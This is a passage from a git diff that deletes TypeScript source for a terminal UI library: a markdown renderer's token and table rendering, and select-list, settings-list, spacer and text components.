this.theme.bold(this.theme.underline(headingText)), - ); - } else if (headingLevel === 2) { - styledHeading = this.theme.heading(this.theme.bold(headingText)); - } else { - styledHeading = this.theme.heading( - this.theme.bold(headingPrefix + headingText), - ); - } - lines.push(styledHeading); - if (nextTokenType !== "space") { - lines.push(""); // Add spacing after headings (unless space token follows) - } - break; - } - - case "paragraph": { - const paragraphText = this.renderInlineTokens( - token.tokens || [], - styleContext, - ); - lines.push(paragraphText); - // Don't add spacing if next token is space or list - if ( - nextTokenType && - nextTokenType !== "list" && - nextTokenType !== "space" - ) { - lines.push(""); - } - break; - } - - case "code": { - const codeBlockLines = this.renderCodeBlock(token.text, token.lang); - for (let j = 0; j < codeBlockLines.length; j++) - lines.push(codeBlockLines[j]); - if (nextTokenType !== "space") { - lines.push(""); // Add spacing after code blocks (unless space token follows) - } - break; - } - - case "list": { - const listLines = this.renderList(token as any, 0, styleContext); - for (let j = 0; j < listLines.length; j++) lines.push(listLines[j]); - // Don't add spacing after lists if a space token follows - // (the space token will handle it) - break; - } - - case "table": { - const tableLines = this.renderTable(token as any, width, styleContext); - for (let j = 0; j < tableLines.length; j++) lines.push(tableLines[j]); - break; - } - - case "blockquote": { - const quoteStyle = (text: string) => - this.theme.quote(this.theme.italic(text)); - const quoteStylePrefix = this.getStylePrefix(quoteStyle); - const applyQuoteStyle = (line: string): string => { - if (!quoteStylePrefix) { - return quoteStyle(line); - } - const lineWithReappliedStyle = line.replace( - /\x1b\[0m/g, - `\x1b[0m${quoteStylePrefix}`, - ); - return quoteStyle(lineWithReappliedStyle); - }; - - // Calculate available width for quote content (subtract border "│ " = 2 chars) - const quoteContentWidth = Math.max(1, width - 2); - - // Blockquotes contain block-level tokens (paragraph, list, code, etc.), so render - // children with renderToken() instead of renderInlineTokens(). - // Default message style should not apply inside blockquotes. - const quoteInlineStyleContext: InlineStyleContext = { - applyText: (text: string) => text, - stylePrefix: "", - }; - const quoteTokens = token.tokens || []; - const renderedQuoteLines: string[] = []; - for (let i = 0; i < quoteTokens.length; i++) { - const quoteToken = quoteTokens[i]; - const nextQuoteToken = quoteTokens[i + 1]; - renderedQuoteLines.push( - ...this.renderToken( - quoteToken, - quoteContentWidth, - nextQuoteToken?.type, - quoteInlineStyleContext, - ), - ); - } - - // Avoid rendering an extra empty quote line before the outer blockquote spacing. - while ( - renderedQuoteLines.length > 0 && - renderedQuoteLines[renderedQuoteLines.length - 1] === "" - ) { - renderedQuoteLines.pop(); - } - - for (const quoteLine of renderedQuoteLines) { - const styledLine = applyQuoteStyle(quoteLine); - const wrappedLines = wrapTextWithAnsi(styledLine, quoteContentWidth); - for (const wrappedLine of wrappedLines) { - lines.push(this.theme.quoteBorder("│ ") + wrappedLine); - } - } - if (nextTokenType !== "space") { - lines.push(""); // Add spacing after blockquotes (unless space token follows) - } - break; - } - - case "hr": - lines.push(this.theme.hr("─".repeat(Math.min(width, 80)))); - if (nextTokenType !== "space") { - lines.push(""); // Add spacing after horizontal rules (unless space token follows) - } - break; - - case "html": - // Render HTML as plain text (escaped for terminal) - if ("raw" in token && typeof token.raw === "string") { - lines.push(this.applyDefaultStyle(token.raw.trim())); - } - break; - - case "space": - // Space tokens represent blank lines in markdown - lines.push(""); - break; - - default: - // Handle any other token types as plain text - if ("text" in token && typeof token.text === "string") { - lines.push(token.text); - } - } - - return lines; - } - - private renderInlineTokens( - tokens: Token[], - styleContext?: InlineStyleContext, - ): string { - let result = ""; - const resolvedStyleContext = - styleContext ?? this.getDefaultInlineStyleContext(); - const { applyText, stylePrefix } = resolvedStyleContext; - const applyTextWithNewlines = (text: string): string => { - const segments: string[] = text.split("\n"); - return segments.map((segment: string) => applyText(segment)).join("\n"); - }; - - for (const token of tokens) { - switch (token.type) { - case "text": - // Text tokens in list items can have nested tokens for inline formatting - if (token.tokens && token.tokens.length > 0) { - result += this.renderInlineTokens( - token.tokens, - resolvedStyleContext, - ); - } else { - result += applyTextWithNewlines(token.text); - } - break; - - case "paragraph": - // Paragraph tokens contain nested inline tokens - result += this.renderInlineTokens( - token.tokens || [], - resolvedStyleContext, - ); - break; - - case "strong": { - const boldContent = this.renderInlineTokens( - token.tokens || [], - resolvedStyleContext, - ); - result += this.theme.bold(boldContent) + stylePrefix; - break; - } - - case "em": { - const italicContent = this.renderInlineTokens( - token.tokens || [], - resolvedStyleContext, - ); - result += this.theme.italic(italicContent) + stylePrefix; - break; - } - - case "codespan": - result += this.theme.code(token.text) + stylePrefix; - break; - - case "link": { - const linkText = this.renderInlineTokens( - token.tokens || [], - resolvedStyleContext, - ); - // If link text matches href, only show the link once - // Compare raw text (token.text) not styled text (linkText) since linkText has ANSI codes - // For mailto: links, strip the prefix before comparing (autolinked emails have - // text="foo@bar.com" but href="mailto:foo@bar.com") - const hrefForComparison = token.href.startsWith("mailto:") - ? token.href.slice(7) - : token.href; - if (token.text === token.href || token.text === hrefForComparison) { - result += - this.theme.link(this.theme.underline(linkText)) + stylePrefix; - } else { - result += - this.theme.link(this.theme.underline(linkText)) + - this.theme.linkUrl(` (${token.href})`) + - stylePrefix; - } - break; - } - - case "br": - result += "\n"; - break; - - case "del": { - const delContent = this.renderInlineTokens( - token.tokens || [], - resolvedStyleContext, - ); - result += this.theme.strikethrough(delContent) + stylePrefix; - break; - } - - case "html": - // Render inline HTML as plain text - if ("raw" in token && typeof token.raw === "string") { - result += applyTextWithNewlines(token.raw); - } - break; - - default: - // Handle any other inline token types as plain text - if ("text" in token && typeof token.text === "string") { - result += applyTextWithNewlines(token.text); - } - } - } - - return result; - } - - /** - * Render a list with proper nesting support - */ - private renderList( - token: Token & { items: any[]; ordered: boolean; start?: number }, - depth: number, - styleContext?: InlineStyleContext, - ): string[] { - const lines: string[] = []; - const indent = " ".repeat(depth); - // Use the list's start property (defaults to 1 for ordered lists) - const startNumber = token.start ?? 1; - - for (let i = 0; i < token.items.length; i++) { - const item = token.items[i]; - const bullet = token.ordered ? `${startNumber + i}. ` : "- "; - - // Process item tokens to handle nested lists - const itemLines = this.renderListItem( - item.tokens || [], - depth, - styleContext, - ); - - if (itemLines.length > 0) { - // First line - check if it's a nested list - // A nested list will start with indent (spaces) followed by cyan bullet - const firstLine = itemLines[0]; - const isNestedList = /^\s+\x1b\[36m[-\d]/.test(firstLine); // starts with spaces + cyan + bullet char - - if (isNestedList) { - // This is a nested list, just add it as-is (already has full indent) - lines.push(firstLine); - } else { - // Regular text content - add indent and bullet - lines.push(indent + this.theme.listBullet(bullet) + firstLine); - } - - // Rest of the lines - for (let j = 1; j < itemLines.length; j++) { - const line = itemLines[j]; - const isNestedListLine = /^\s+\x1b\[36m[-\d]/.test(line); // starts with spaces + cyan + bullet char - - if (isNestedListLine) { - // Nested list line - already has full indent - lines.push(line); - } else { - // Regular content - add parent indent + 2 spaces for continuation - lines.push(`${indent} ${line}`); - } - } - } else { - lines.push(indent + this.theme.listBullet(bullet)); - } - } - - return lines; - } - - /** - * Render list item tokens, handling nested lists - * Returns lines WITHOUT the parent indent (renderList will add it) - */ - private renderListItem( - tokens: Token[], - parentDepth: number, - styleContext?: InlineStyleContext, - ): string[] { - const lines: string[] = []; - - for (const token of tokens) { - if (token.type === "list") { - // Nested list - render with one additional indent level - // These lines will have their own indent, so we just add them as-is - const nestedLines = this.renderList( - token as any, - parentDepth + 1, - styleContext, - ); - for (let j = 0; j < nestedLines.length; j++) lines.push(nestedLines[j]); - } else if (token.type === "text") { - // Text content (may have inline tokens) - const text = - token.tokens && token.tokens.length > 0 - ? this.renderInlineTokens(token.tokens, styleContext) - : token.text || ""; - lines.push(text); - } else if (token.type === "paragraph") { - // Paragraph in list item - const text = this.renderInlineTokens(token.tokens || [], styleContext); - lines.push(text); - } else if (token.type === "code") { - // Code block in list item - const codeLines = this.renderCodeBlock(token.text, token.lang); - for (let j = 0; j < codeLines.length; j++) lines.push(codeLines[j]); - } else { - // Other token types - try to render as inline - const text = this.renderInlineTokens([token], styleContext); - if (text) { - lines.push(text); - } - } - } - - return lines; - } - - /** - * Render a fenced code block with syntax highlighting support. - * Used by both renderToken (top-level code blocks) and renderListItem (code blocks inside lists). - */ - private renderCodeBlock(code: string, lang?: string): string[] { - const lines: string[] = []; - const indent = this.theme.codeBlockIndent ?? " "; - lines.push(this.theme.codeBlockBorder(`\`\`\`${lang || ""}`)); - if (this.theme.highlightCode) { - const highlightedLines = this.theme.highlightCode(code, lang); - for (const hlLine of highlightedLines) { - lines.push(`${indent}${hlLine}`); - } - } else { - const codeLines = code.split("\n"); - for (const codeLine of codeLines) { - lines.push(`${indent}${this.theme.codeBlock(codeLine)}`); - } - } - lines.push(this.theme.codeBlockBorder("```")); - return lines; - } - - /** - * Get the visible width of the longest word in a string. - */ - private getLongestWordWidth(text: string, maxWidth?: number): number { - const words = text.split(/\s+/).filter((word) => word.length > 0); - let longest = 0; - for (const word of words) { - longest = Math.max(longest, visibleWidth(word)); - } - if (maxWidth === undefined) { - return longest; - } - return Math.min(longest, maxWidth); - } - - /** - * Wrap a table cell to fit into a column. - * - * Delegates to wrapTextWithAnsi() so ANSI codes + long tokens are handled - * consistently with the rest of the renderer. - */ - private wrapCellText(text: string, maxWidth: number): string[] { - return wrapTextWithAnsi(text, Math.max(1, maxWidth)); - } - - /** - * Render a table with width-aware cell wrapping. - * Cells that don't fit are wrapped to multiple lines. - */ - private renderTable( - token: Token & { header: any[]; rows: any[][]; raw?: string }, - availableWidth: number, - styleContext?: InlineStyleContext, - ): string[] { - const lines: string[] = []; - const numCols = token.header.length; - - if (numCols === 0) { - return lines; - } - - // Calculate border overhead: "│ " + (n-1) * " │ " + " │" - // = 2 + (n-1) * 3 + 2 = 3n + 1 - const borderOverhead = 3 * numCols + 1; - const availableForCells = availableWidth - borderOverhead; - if (availableForCells < numCols) { - // Too narrow to render a stable table. Fall back to raw markdown. - const fallbackLines = token.raw - ? wrapTextWithAnsi(token.raw, availableWidth) - : []; - fallbackLines.push(""); - return fallbackLines; - } - - const maxUnbrokenWordWidth = 30; - - // Calculate natural column widths (what each column needs without constraints) - const naturalWidths: number[] = []; - const minWordWidths: number[] = []; - for (let i = 0; i < numCols; i++) { - const headerText = this.renderInlineTokens( - token.header[i].tokens || [], - styleContext, - ); - naturalWidths[i] = visibleWidth(headerText); - minWordWidths[i] = Math.max( - 1, - this.getLongestWordWidth(headerText, maxUnbrokenWordWidth), - ); - } - for (const row of token.rows) { - for (let i = 0; i < row.length; i++) { - const cellText = this.renderInlineTokens( - row[i].tokens || [], - styleContext, - ); - naturalWidths[i] = Math.max( - naturalWidths[i] || 0, - visibleWidth(cellText), - ); - minWordWidths[i] = Math.max( - minWordWidths[i] || 1, - this.getLongestWordWidth(cellText, maxUnbrokenWordWidth), - ); - } - } - - let minColumnWidths = minWordWidths; - let minCellsWidth = minColumnWidths.reduce((a, b) => a + b, 0); - - if (minCellsWidth > availableForCells) { - minColumnWidths = new Array(numCols).fill(1); - const remaining = availableForCells - numCols; - - if (remaining > 0) { - const totalWeight = minWordWidths.reduce( - (total, width) => total + Math.max(0, width - 1), - 0, - ); - const growth = minWordWidths.map((width) => { - const weight = Math.max(0, width - 1); - return totalWeight > 0 - ? Math.floor((weight / totalWeight) * remaining) - : 0; - }); - - for (let i = 0; i < numCols; i++) { - minColumnWidths[i] += growth[i] ?? 0; - } - - const allocated = growth.reduce((total, width) => total + width, 0); - let leftover = remaining - allocated; - for (let i = 0; leftover > 0 && i < numCols; i++) { - minColumnWidths[i]++; - leftover--; - } - } - - minCellsWidth = minColumnWidths.reduce((a, b) => a + b, 0); - } - - // Calculate column widths that fit within available width - const totalNaturalWidth = - naturalWidths.reduce((a, b) => a + b, 0) + borderOverhead; - let columnWidths: number[]; - - if (totalNaturalWidth <= availableWidth) { - // Everything fits naturally - columnWidths = naturalWidths.map((width, index) => - Math.max(width, minColumnWidths[index]), - ); - } else { - // Need to shrink columns to fit - const totalGrowPotential = naturalWidths.reduce((total, width, index) => { - return total + Math.max(0, width - minColumnWidths[index]); - }, 0); - const extraWidth = Math.max(0, availableForCells - minCellsWidth); - columnWidths = minColumnWidths.map((minWidth, index) => { - const naturalWidth = naturalWidths[index]; - const minWidthDelta = Math.max(0, naturalWidth - minWidth); - let grow = 0; - if (totalGrowPotential > 0) { - grow = Math.floor((minWidthDelta / totalGrowPotential) * extraWidth); - } - return minWidth + grow; - }); - - // Adjust for rounding errors - distribute remaining space - const allocated = columnWidths.reduce((a, b) => a + b, 0); - let remaining = availableForCells - allocated; - while (remaining > 0) { - let grew = false; - for (let i = 0; i < numCols && remaining > 0; i++) { - if (columnWidths[i] < naturalWidths[i]) { - columnWidths[i]++; - remaining--; - grew = true; - } - } - if (!grew) { - break; - } - } - } - - // Render top border - const topBorderCells = columnWidths.map((w) => "─".repeat(w)); - lines.push(`┌─${topBorderCells.join("─┬─")}─┐`); - - // Render header with wrapping - const headerCellLines: string[][] = token.header.map((cell, i) => { - const text = this.renderInlineTokens(cell.tokens || [], styleContext); - return this.wrapCellText(text, columnWidths[i]); - }); - const headerLineCount = Math.max(...headerCellLines.map((c) => c.length)); - - for (let lineIdx = 0; lineIdx < headerLineCount; lineIdx++) { - const rowParts = headerCellLines.map((cellLines, colIdx) => { - const text = cellLines[lineIdx] || ""; - const padded = - text + - " ".repeat(Math.max(0, columnWidths[colIdx] - visibleWidth(text))); - return this.theme.bold(padded); - }); - lines.push(`│ ${rowParts.join(" │ ")} │`); - } - - // Render separator - const separatorCells = columnWidths.map((w) => "─".repeat(w)); - const separatorLine = `├─${separatorCells.join("─┼─")}─┤`; - lines.push(separatorLine); - - // Render rows with wrapping - for (let rowIndex = 0; rowIndex < token.rows.length; rowIndex++) { - const row = token.rows[rowIndex]; - const rowCellLines: string[][] = row.map((cell, i) => { - const text = this.renderInlineTokens(cell.tokens || [], styleContext); - return this.wrapCellText(text, columnWidths[i]); - }); - const rowLineCount = Math.max(...rowCellLines.map((c) => c.length)); - - for (let lineIdx = 0; lineIdx < rowLineCount; lineIdx++) { - const rowParts = rowCellLines.map((cellLines, colIdx) => { - const text = cellLines[lineIdx] || ""; - return ( - text + - " ".repeat(Math.max(0, columnWidths[colIdx] - visibleWidth(text))) - ); - }); - lines.push(`│ ${rowParts.join(" │ ")} │`); - } - - if (rowIndex < token.rows.length - 1) { - lines.push(separatorLine); - } - } - - // Render bottom border - const bottomBorderCells = columnWidths.map((w) => "─".repeat(w)); - lines.push(`└─${bottomBorderCells.join("─┴─")}─┘`); - - lines.push(""); // Add spacing after table - return lines; - } -} diff --git a/packages/pi-tui/src/components/select-list.ts b/packages/pi-tui/src/components/select-list.ts deleted file mode 100644 index 0c924c108..000000000 --- a/packages/pi-tui/src/components/select-list.ts +++ /dev/null @@ -1,234 +0,0 @@ -import { getEditorKeybindings } from "../keybindings.js"; -import type { Component } from "../tui.js"; -import { truncateToWidth } from "../utils.js"; - -const normalizeToSingleLine = (text: string): string => - text.replace(/[\r\n]+/g, " ").trim(); - -export interface SelectItem { - value: string; - label: string; - description?: string; -} - -export interface SelectListTheme { - selectedPrefix: (text: string) => string; - selectedText: (text: string) => string; - description: (text: string) => string; - scrollInfo: (text: string) => string; - noMatch: (text: string) => string; -} - -export class SelectList implements Component { - private items: SelectItem[] = []; - private filteredItems: SelectItem[] = []; - private selectedIndex: number = 0; - private maxVisible: number = 5; - private theme: SelectListTheme; - - public onSelect?: (item: SelectItem) => void; - public onCancel?: () => void; - public onSelectionChange?: (item: SelectItem) => void; - - constructor(items: SelectItem[], maxVisible: number, theme: SelectListTheme) { - this.items = items; - this.filteredItems = items; - this.maxVisible = maxVisible; - this.theme = theme; - } - - setFilter(filter: string): void { - this.filteredItems = this.items.filter((item) => - item.value.toLowerCase().startsWith(filter.toLowerCase()), - ); - // Reset selection when filter changes - this.selectedIndex = 0; - } - - setSelectedIndex(index: number): void { - this.selectedIndex = Math.max( - 0, - Math.min(index, this.filteredItems.length - 1), - ); - } - - invalidate(): void { - // No cached state to invalidate currently - } - - render(width: number): string[] { - const lines: string[] = []; - - // If no items match filter, show message - if (this.filteredItems.length === 0) { - lines.push(this.theme.noMatch(" No matching commands")); - return lines; - } - - // Calculate visible range with scrolling - const startIndex = Math.max( - 0, - Math.min( - this.selectedIndex - Math.floor(this.maxVisible / 2), - this.filteredItems.length - this.maxVisible, - ), - ); - const endIndex = Math.min( - startIndex + this.maxVisible, - this.filteredItems.length, - ); - - // Render visible items - for (let i = startIndex; i < endIndex; i++) { - const item = this.filteredItems[i]; - if (!item) continue; - - const isSelected = i === this.selectedIndex; - const descriptionSingleLine = item.description - ? normalizeToSingleLine(item.description) - : undefined; - - let line = ""; - if (isSelected) { - // Use arrow indicator for selection - entire line uses selectedText color - const prefixWidth = 2; // "→ " is 2 characters visually - const displayValue = item.label || item.value; - - if (descriptionSingleLine && width > 40) { - // Calculate how much space we have for value + description - const maxValueWidth = Math.min(30, width - prefixWidth - 4); - const truncatedValue = truncateToWidth( - displayValue, - maxValueWidth, - "", - ); - const spacing = " ".repeat(Math.max(1, 32 - truncatedValue.length)); - - // Calculate remaining space for description using visible widths - const descriptionStart = - prefixWidth + truncatedValue.length + spacing.length; - const remainingWidth = width - descriptionStart - 2; // -2 for safety - - if (remainingWidth > 10) { - const truncatedDesc = truncateToWidth( - descriptionSingleLine, - remainingWidth, - "", - ); - // Apply selectedText to entire line content - line = this.theme.selectedText( - `→ ${truncatedValue}${spacing}${truncatedDesc}`, - ); - } else { - // Not enough space for description - const maxWidth = width - prefixWidth - 2; - line = this.theme.selectedText( - `→ ${truncateToWidth(displayValue, maxWidth, "")}`, - ); - } - } else { - // No description or not enough width - const maxWidth = width - prefixWidth - 2; - line = this.theme.selectedText( - `→ ${truncateToWidth(displayValue, maxWidth, "")}`, - ); - } - } else { - const displayValue = item.label || item.value; - const prefix = " "; - - if (descriptionSingleLine && width > 40) { - // Calculate how much space we have for value + description - const maxValueWidth = Math.min(30, width - prefix.length - 4); - const truncatedValue = truncateToWidth( - displayValue, - maxValueWidth, - "", - ); - const spacing = " ".repeat(Math.max(1, 32 - truncatedValue.length)); - - // Calculate remaining space for description - const descriptionStart = - prefix.length + truncatedValue.length + spacing.length; - const remainingWidth = width - descriptionStart - 2; // -2 for safety - - if (remainingWidth > 10) { - const truncatedDesc = truncateToWidth( - descriptionSingleLine, - remainingWidth, - "", - ); - const descText = this.theme.description(spacing + truncatedDesc); - line = prefix + truncatedValue + descText; - } else { - // Not enough space for description - const maxWidth = width - prefix.length - 2; - line = prefix + truncateToWidth(displayValue, maxWidth, ""); - } - } else { - // No description or not enough width - const maxWidth = width - prefix.length - 2; - line = prefix + truncateToWidth(displayValue, maxWidth, ""); - } - } - - lines.push(line); - } - - // Add scroll indicators if needed - if (startIndex > 0 || endIndex < this.filteredItems.length) { - const scrollText = ` (${this.selectedIndex + 1}/${this.filteredItems.length})`; - // Truncate if too long for terminal - lines.push( - this.theme.scrollInfo(truncateToWidth(scrollText, width - 2, "")), - ); - } - - return lines; - } - - handleInput(keyData: string): void { - const kb = getEditorKeybindings(); - // Up arrow - wrap to bottom when at top - if (kb.matches(keyData, "selectUp")) { - this.selectedIndex = - this.selectedIndex === 0 - ? this.filteredItems.length - 1 - : this.selectedIndex - 1; - this.notifySelectionChange(); - } - // Down arrow - wrap to top when at bottom - else if (kb.matches(keyData, "selectDown")) { - this.selectedIndex = - this.selectedIndex === this.filteredItems.length - 1 - ? 0 - : this.selectedIndex + 1; - this.notifySelectionChange(); - } - // Enter - else if (kb.matches(keyData, "selectConfirm")) { - const selectedItem = this.filteredItems[this.selectedIndex]; - if (selectedItem && this.onSelect) { - this.onSelect(selectedItem); - } - } - // Escape or Ctrl+C - else if (kb.matches(keyData, "selectCancel")) { - if (this.onCancel) { - this.onCancel(); - } - } - } - - private notifySelectionChange(): void { - const selectedItem = this.filteredItems[this.selectedIndex]; - if (selectedItem && this.onSelectionChange) { - this.onSelectionChange(selectedItem); - } - } - - getSelectedItem(): SelectItem | null { - const item = this.filteredItems[this.selectedIndex]; - return item || null; - } -} diff --git a/packages/pi-tui/src/components/settings-list.ts b/packages/pi-tui/src/components/settings-list.ts deleted file mode 100644 index ca4eebc4a..000000000 --- a/packages/pi-tui/src/components/settings-list.ts +++ /dev/null @@ -1,283 +0,0 @@ -import { fuzzyFilter } from "../fuzzy.js"; -import { getEditorKeybindings } from "../keybindings.js"; -import type { Component } from "../tui.js"; -import { truncateToWidth, visibleWidth, wrapTextWithAnsi } from "../utils.js"; -import { Input } from "./input.js"; - -export interface SettingItem { - /** Unique identifier for this setting */ - id: string; - /** Display label (left side) */ - label: string; - /** Optional description shown when selected */ - description?: string; - /** Current value to display (right side) */ - currentValue: string; - /** If provided, Enter/Space cycles through these values */ - values?: string[]; - /** If provided, Enter opens this submenu. Receives current value and done callback. */ - submenu?: ( - currentValue: string, - done: (selectedValue?: string) => void, - ) => Component; -} - -export interface SettingsListTheme { - label: (text: string, selected: boolean) => string; - value: (text: string, selected: boolean) => string; - description: (text: string) => string; - cursor: string; - hint: (text: string) => string; -} - -export interface SettingsListOptions { - enableSearch?: boolean; -} - -export class SettingsList implements Component { - private items: SettingItem[]; - private filteredItems: SettingItem[]; - private theme: SettingsListTheme; - private selectedIndex = 0; - private maxVisible: number; - private onChange: (id: string, newValue: string) => void; - private onCancel: () => void; - private searchInput?: Input; - private searchEnabled: boolean; - - // Submenu state - private submenuComponent: Component | null = null; - private submenuItemIndex: number | null = null; - - constructor( - items: SettingItem[], - maxVisible: number, - theme: SettingsListTheme, - onChange: (id: string, newValue: string) => void, - onCancel: () => void, - options: SettingsListOptions = {}, - ) { - this.items = items; - this.filteredItems = items; - this.maxVisible = maxVisible; - this.theme = theme; - this.onChange = onChange; - this.onCancel = onCancel; - this.searchEnabled = options.enableSearch ?? false; - if (this.searchEnabled) { - this.searchInput = new Input(); - } - } - - /** Update an item's currentValue */ - updateValue(id: string, newValue: string): void { - const item = this.items.find((i) => i.id === id); - if (item) { - item.currentValue = newValue; - } - } - - invalidate(): void { - this.submenuComponent?.invalidate?.(); - } - - render(width: number): string[] { - // If submenu is active, render it instead - if (this.submenuComponent) { - return this.submenuComponent.render(width); - } - - return this.renderMainList(width); - } - - private renderMainList(width: number): string[] { - const lines: string[] = []; - - if (this.searchEnabled && this.searchInput) { - const rendered = this.searchInput.render(width); - for (let i = 0; i < rendered.length; i++) lines.push(rendered[i]); - lines.push(""); - } - - if (this.items.length === 0) { - lines.push(this.theme.hint(" No settings available")); - if (this.searchEnabled) { - this.addHintLine(lines, width); - } - return lines; - } - - const displayItems = this.searchEnabled ? this.filteredItems : this.items; - if (displayItems.length === 0) { - lines.push( - truncateToWidth(this.theme.hint(" No matching settings"), width), - ); - this.addHintLine(lines, width); - return lines; - } - - // Calculate visible range with scrolling - const startIndex = Math.max( - 0, - Math.min( - this.selectedIndex - Math.floor(this.maxVisible / 2), - displayItems.length - this.maxVisible, - ), - ); - const endIndex = Math.min( - startIndex + this.maxVisible, - displayItems.length, - ); - - // Calculate max label width for alignment - const maxLabelWidth = Math.min( - 30, - Math.max(...this.items.map((item) => visibleWidth(item.label))), - ); - - // Render visible items - for (let i = startIndex; i < endIndex; i++) { - const item = displayItems[i]; - if (!item) continue; - - const isSelected = i === this.selectedIndex; - const prefix = isSelected ? this.theme.cursor : " "; - const prefixWidth = visibleWidth(prefix); - - // Pad label to align values - const labelPadded = - item.label + - " ".repeat(Math.max(0, maxLabelWidth - visibleWidth(item.label))); - const labelText = this.theme.label(labelPadded, isSelected); - - // Calculate space for value - const separator = " "; - const usedWidth = prefixWidth + maxLabelWidth + visibleWidth(separator); - const valueMaxWidth = width - usedWidth - 2; - - const valueText = this.theme.value( - truncateToWidth(item.currentValue, valueMaxWidth, ""), - isSelected, - ); - - lines.push( - truncateToWidth(prefix + labelText + separator + valueText, width), - ); - } - - // Add scroll indicator if needed - if (startIndex > 0 || endIndex < displayItems.length) { - const scrollText = ` (${this.selectedIndex + 1}/${displayItems.length})`; - lines.push(this.theme.hint(truncateToWidth(scrollText, width - 2, ""))); - } - - // Add description for selected item - const selectedItem = displayItems[this.selectedIndex]; - if (selectedItem?.description) { - lines.push(""); - const wrappedDesc = wrapTextWithAnsi(selectedItem.description, width - 4); - for (const line of wrappedDesc) { - lines.push(this.theme.description(` ${line}`)); - } - } - - // Add hint - this.addHintLine(lines, width); - - return lines; - } - - handleInput(data: string): void { - // If submenu is active, delegate all input to it - // The submenu's onCancel (triggered by escape) will call done() which closes it - if (this.submenuComponent) { - this.submenuComponent.handleInput?.(data); - return; - } - - // Main list input handling - const kb = getEditorKeybindings(); - const displayItems = this.searchEnabled ? this.filteredItems : this.items; - if (kb.matches(data, "selectUp")) { - if (displayItems.length === 0) return; - this.selectedIndex = - this.selectedIndex === 0 - ? displayItems.length - 1 - : this.selectedIndex - 1; - } else if (kb.matches(data, "selectDown")) { - if (displayItems.length === 0) return; - this.selectedIndex = - this.selectedIndex === displayItems.length - 1 - ? 0 - : this.selectedIndex + 1; - } else if (kb.matches(data, "selectConfirm") || data === " ") { - this.activateItem(); - } else if (kb.matches(data, "selectCancel")) { - this.onCancel(); - } else if (this.searchEnabled && this.searchInput) { - const sanitized = data.replace(/ /g, ""); - if (!sanitized) { - return; - } - this.searchInput.handleInput(sanitized); - this.applyFilter(this.searchInput.getValue()); - } - } - - private activateItem(): void { - const item = this.searchEnabled - ? this.filteredItems[this.selectedIndex] - : this.items[this.selectedIndex]; - if (!item) return; - - if (item.submenu) { - // Open submenu, passing current value so it can pre-select correctly - this.submenuItemIndex = this.selectedIndex; - this.submenuComponent = item.submenu( - item.currentValue, - (selectedValue?: string) => { - if (selectedValue !== undefined) { - item.currentValue = selectedValue; - this.onChange(item.id, selectedValue); - } - this.closeSubmenu(); - }, - ); - } else if (item.values && item.values.length > 0) { - // Cycle through values - const currentIndex = item.values.indexOf(item.currentValue); - const nextIndex = (currentIndex + 1) % item.values.length; - const newValue = item.values[nextIndex]; - item.currentValue = newValue; - this.onChange(item.id, newValue); - } - } - - private closeSubmenu(): void { - this.submenuComponent = null; - // Restore selection to the item that opened the submenu - if (this.submenuItemIndex !== null) { - this.selectedIndex = this.submenuItemIndex; - this.submenuItemIndex = null; - } - } - - private applyFilter(query: string): void { - this.filteredItems = fuzzyFilter(this.items, query, (item) => item.label); - this.selectedIndex = 0; - } - - private addHintLine(lines: string[], width: number): void { - lines.push(""); - lines.push( - truncateToWidth( - this.theme.hint( - this.searchEnabled - ? " Type to search · Enter/Space to change · Esc to cancel" - : " Enter/Space to change · Esc to cancel", - ), - width, - ), - ); - } -} diff --git a/packages/pi-tui/src/components/spacer.ts b/packages/pi-tui/src/components/spacer.ts deleted file mode 100644 index 8c63d3c2e..000000000 --- a/packages/pi-tui/src/components/spacer.ts +++ /dev/null @@ -1,28 +0,0 @@ -import type { Component } from "../tui.js"; - -/** - * Spacer component that renders empty lines - */ -export class Spacer implements Component { - private lines: number; - - constructor(lines: number = 1) { - this.lines = lines; - } - - setLines(lines: number): void { - this.lines = lines; - } - - invalidate(): void { - // No cached state to invalidate currently - } - - render(_width: number): string[] { - const result: string[] = []; - for (let i = 0; i < this.lines; i++) { - result.push(""); - } - return result; - } -} diff --git a/packages/pi-tui/src/components/text.ts b/packages/pi-tui/src/components/text.ts deleted file mode 100644 index bb99caa2e..000000000 --- a/packages/pi-tui/src/components/text.ts +++ /dev/null @@ -1,124 +0,0 @@ -import type { Component } from "../tui.js"; -import { - applyBackgroundToLine, - visibleWidth, - wrapTextWithAnsi, -} from "../utils.js"; - -/** - * Text component - displays multi-line text with word wrapping - */ -export class Text implements Component { - private text: string; - private paddingX: number; // Left/right padding - private paddingY: number; // Top/bottom padding - private customBgFn?: (text: string) => string; - - // Cache for rendered output - private cachedText?: string; - private cachedWidth?: number; - private cachedLines?: string[]; - - constructor( - text: string = "", - paddingX: number = 1, - paddingY: number = 1, - customBgFn?: (text: string) => string, - ) { - this.text = text; - this.paddingX = paddingX; - this.paddingY = paddingY; - this.customBgFn = customBgFn; - } - - setText(text: string): void { - if (this.text === text) return; - this.text = text; - this.cachedText = undefined; - this.cachedWidth = undefined; - this.cachedLines = undefined; - } - - setCustomBgFn(customBgFn?: (text: string) => string): void { - this.customBgFn = customBgFn; - this.cachedText = undefined; - this.cachedWidth = undefined; - this.cachedLines = undefined; - } - - invalidate(): void { - this.cachedText = undefined; - this.cachedWidth = undefined; - this.cachedLines = undefined; - } - - render(width: number): string[] { - // Check cache - if ( - this.cachedLines && - this.cachedText === this.text && - this.cachedWidth === width - ) { - return this.cachedLines; - } - - // Don't render anything if there's no actual text - if (!this.text || this.text.trim() === "") { - const result: string[] = []; - this.cachedText = this.text; - this.cachedWidth = width; - this.cachedLines = result; - return result; - } - - // Replace tabs with 3 spaces - const normalizedText = this.text.replace(/\t/g, " "); - - // Calculate content width (subtract left/right margins) - const contentWidth = Math.max(1, width - this.paddingX * 2); - - // Wrap text (this preserves ANSI codes but does NOT pad) - const wrappedLines = wrapTextWithAnsi(normalizedText, contentWidth); - - // Add margins and background to each line - const leftMargin = " ".repeat(this.paddingX); - const rightMargin = " ".repeat(this.paddingX); - const contentLines: string[] = []; - - for (const line of wrappedLines) { - // Add margins - const lineWithMargins = leftMargin + line + rightMargin; - - // Apply background if specified (this also pads to full width) - if (this.customBgFn) { - contentLines.push( - applyBackgroundToLine(lineWithMargins, width, this.customBgFn), - ); - } else { - // No background - just pad to width with spaces - const visibleLen = visibleWidth(lineWithMargins); - const paddingNeeded = Math.max(0, width - visibleLen); - contentLines.push(lineWithMargins + " ".repeat(paddingNeeded)); - } - } - - // Add top/bottom padding (empty lines) - const emptyLine = " ".repeat(width); - const emptyLines: string[] = []; - for (let i = 0; i < this.paddingY; i++) { 